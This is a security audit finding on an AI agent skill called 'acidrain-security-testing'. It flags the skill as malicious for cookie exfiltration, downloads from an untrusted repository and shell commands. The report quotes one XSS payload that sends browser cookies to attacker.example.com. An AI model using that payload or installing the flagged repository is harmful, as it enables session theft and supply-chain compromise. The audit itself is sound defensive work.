acidrain-security-testing
Fail
Audited by Gen Agent Trust Hub on Sep 18, 2026
Risk Level: CRITICALDATA_EXFILTRATIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
- [DATA_EXFILTRATION]: The skill includes a Cross-Site Scripting (XSS) payload in
SKILL.md(document.location='http://attacker.example.com/?c='+document.cookie) that explicitly exfiltrates browser cookies to a remote domain. This domain has been flagged by reputation scanners as malicious. - [DATA_EXFILTRATION]: The utility script
scripts/javascript/cookie-extractor.jsis designed to programmatically access and extract all cookies from the browser environment usingdocument.cookie. - [EXTERNAL_DOWNLOADS]: The skill instructs users to clone a repository from an untrusted personal GitHub account (
henry-lewiskpp1107/acidrain-security-script-hub.git). This source is not associated with a known trusted organization or the skill's stated author, posing a supply chain risk. - [COMMAND_EXECUTION]: The documentation provides shell commands (
git clone,cd) that facilitate the download and local environment setup of external, untrusted code.
Recommendations
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- Contains 1 malicious URL(s) - DO NOT USE
Audit Metadata